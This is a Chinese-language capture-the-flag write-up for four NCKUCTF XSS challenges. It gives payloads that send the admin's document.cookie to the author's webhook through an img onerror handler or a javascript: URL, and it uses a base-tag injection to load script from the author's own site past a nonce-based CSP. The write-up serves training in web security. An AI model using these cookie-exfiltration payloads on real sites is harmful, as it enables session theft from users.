nckuctf_Front-end WebSec_writeups

題目連結

XSS1

題目無其他限制,嘗試把 admin 的 cookie fetch 到我的 webhook。
直接下 Payload:

1
<img src=1 onerror=fetch('https://${webhook_URL}?'+document.cookie)>

後,將頁面網址回報給 admin ,即可獲得flag

Flag

NCKUCTF{w3lc0m3_70_x55_w0rld}

XSS2

同第一題,嘗試把 admin 的 cookie fetch 到我的 webhook。
直接下 Payload:

1
<img src=1 onerror=fetch('https://${webhook_URL}?'+document.cookie)>

後,將頁面網址回報給 admin ,即可獲得flag

Flag

NCKUCTF{1nn3rh7ml_15_n07_3x3cu73_5cr1p7}

XSS3

由於題目要輸入網址,嘗試使用 javascript: 執行JS。

Payload:

1
javascript:fetch('https://${webhook_URL}?'+document.cookie)

後,將頁面網址回報給 admin ,即可獲得flag

Flag

NCKUCTF{p53ud0_pr070c4l_15_50m3_71m3_3v4l}

XSS4

進入題目後嘗試使用之前的Payload,發現彈出錯誤訊息:

Content-Security-Policy: 由於違反了下列指示:「script-src ‘nonce-MzM1OTU5’」,未讓頁面中的事件監聽器(script-src-attr)生效。請考慮使用 Hash(「sha256-PAjWuCR+IBCn+/1MAG5bv4egg3ttyTaEt7mIYnW5GnM=」)與「unsafe-hashes」。
Source: fetch(‘https://webhook.site/4066c5e5-efa…

得知應該是無法正常執行 Javascript。

又發現點擊按鈕會執行 /static/script.js ,故嘗試修改 baseurl 使 /static/script.js 會存取到我能控制的檔案。

我選擇偷偷將我想執行的 script.js 藏在我的部落格中 (marskung.github.io/static/script.js) ,接著使用 <base href='https://marskung.github.io/'> 將網頁的 baseurl 改成我的部落格網址,發現可以執行。

將網址送給管理員即獲得 flag

Flag

NCKUCTF{b453-url_w1ll_n07_f4llb4ck_70_d3f4ul7-5rc}


nckuctf_Front-end WebSec_writeups
https://marskung.github.io/nckuctf-Front-end-WebSec-writeups/
作者
Mars Kung
發布於
2025年8月11日
許可協議